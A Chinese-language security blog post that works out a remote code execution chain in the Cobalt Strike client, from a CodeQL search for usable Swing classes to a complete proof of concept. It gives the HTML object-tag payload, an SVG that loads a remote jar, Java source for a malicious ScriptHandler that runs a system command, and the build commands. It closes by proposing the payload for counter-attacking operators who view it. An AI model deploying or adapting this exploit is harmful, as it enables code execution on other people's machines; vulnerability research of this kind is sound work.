0x00 前言
发一篇存货
前段时间看到北辰师傅提交了 CS 的 RCE,然后忍者师傅也发了一篇文章,看了看网上没有 poc 的流出,所以趁着国庆就来研究一下
大体的思路看忍者师傅的这篇文章就可以了
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
0x01 利用链
ps:完整poc和利用在文末
前言中的文章里提到 <object>
可以调用符合条件的类中的方法,大致需要符合如下几个条件
- 类是 Component 的子类
- 类中需要有 setter 方法并且参数类型要为 String
所以我们需要从 cobaltsrike.jar 中寻找符合条件的类,那么现在就有两个路子可以走
- 结合 IDEA 人肉去翻类 -> 费时费力
- codeql 等白盒工具进行自动化筛选
果断选择第二个路子,虽然没学过 codeql 但是借此来学习一下是一个很好的机会
首先借助 extractor-java 来将 cobaltstrike.jar 建立对应的图数据库
https://github.com/waderwu/extractor-java
python3 extractor-java/class2java.py cs-codeql/
python3 extractor-java/run.py cobalt_strike_db cs-codeql
创建好差不多这样子
然后在 vscode 上写查询语句
import java
from RefType c, Callable cf
where
c.getASupertype+().toString() = "Component"
and
cf.getName().matches("set%")
and
cf.getParameter(0).getType().toString() = "String"
and
cf.getNumberOfParameters() = 1
and
cf = c.getACallable()
select c, cf
就能筛选出 55 个,范围一下子就缩小了
0x02 JSVGCanvas#setURI
人肉排查了一下将目标定到了这个,是不是看到代码之后第一眼就感觉有问题 hhh
简单跟一下发现有 parseURL、Classloader 这种,说明有很大的概率
大致看一下函数可以知道我们可以通过 setURI 来远程引入一个 svg
String initialText = "<html>" +
"<object classid=\"org.apache.batik.swing.JSVGCanvas\">" +
"<param name=\"URI\" value=\"http://localhost:8000/xss.svg\">" +
"<object>";
但是光引入 svg 是不够的,我们想要的是 RCE ,那么就需要去看一下这个 svg 上能否做一些操作
谷歌搜索了一下发现有 svg to xss 的利用,但是尝试了一下发现没有效果
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert("SVG XSS");
</script>
</svg>
但是也不是没有收获的,我们可以从报错中获取到一些宝贵的信息
从报错中可以看到 URLClassloader 一看到这玩意儿就想到可以通过远程加载 jar 来进行触发命令执行
然后再看一下 loadScripts 这个函数,可以看到这里对 type 有限定,从这里面不难看出来有东西,java-archive 看起来像是可以引入java代码
然后就去翻了翻文档,找到如下的链接,可以看到如果实现下面这个接口支持 svg 调用 java 代码
https://xmlgraphics.apache.org/batik/javadoc/org/apache/batik/bridge/ScriptHandler.html
那么其实利用链就打通了
object标签 -> JSVGCanvas -> 远程获取 svg -> svg 加载 jar 触发命令执行
整体捋清楚之后需要解决两个问题
- 构造 svg 标签
- 构造恶意 jar ,因为从文档中可以看到 jar 需要符合一定的要求的
SVG 构造
svg 构造很方便根据上面的文档说明就可以了,xlink 这边指向我们的恶意 jar
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="application/java-archive" xlink:href="http://localhost:8001/Test.jar">
</script>
</svg>
恶意 jar 构造
jar 构造也比较简单,我们只要 mf 弄一下就可以了
package com.cs.rce;
import org.apache.batik.script.ScriptHandler;
import org.apache.batik.script.Window;
import org.w3c.dom.Document;
import java.io.IOException;
public class RCE implements ScriptHandler {
public RCE(){
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void run(Document document, Window window) {
}
}
然后 MAINFEST.mf Script-Handler 指向恶意类就行了
Manifest-Version: 1.0
Script-Handler: com.cs.rce.RCE
然后通过 jar 打包一下就行了
javac RCE.java -classpath "/Users/kpli0rn/Desktop/cobaltstrike4.1.jar"
jar cfvm Test.jar MAINFEST.mf com/cs/rce/RCE.class
0x03 完整利用
先放一下利用截图
Poc
这里的 value 指向我们的恶意 svg
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://localhost:8000/xss.svg"><object>
svg
svg 的 href 指向恶意的 jar
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="application/java-archive" xlink:href="http://localhost:8001/Test.jar">
</script>
</svg>
恶意jar的代码就是上面的那个
那么如何反制,比如说我们把含有下面这个 poc 的作为文件内容,当攻击者在 cs 上看到了这个之后,swing 会解析这个 poc 从而达到命令执行
<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://localhost:8000/xss.svg"><object>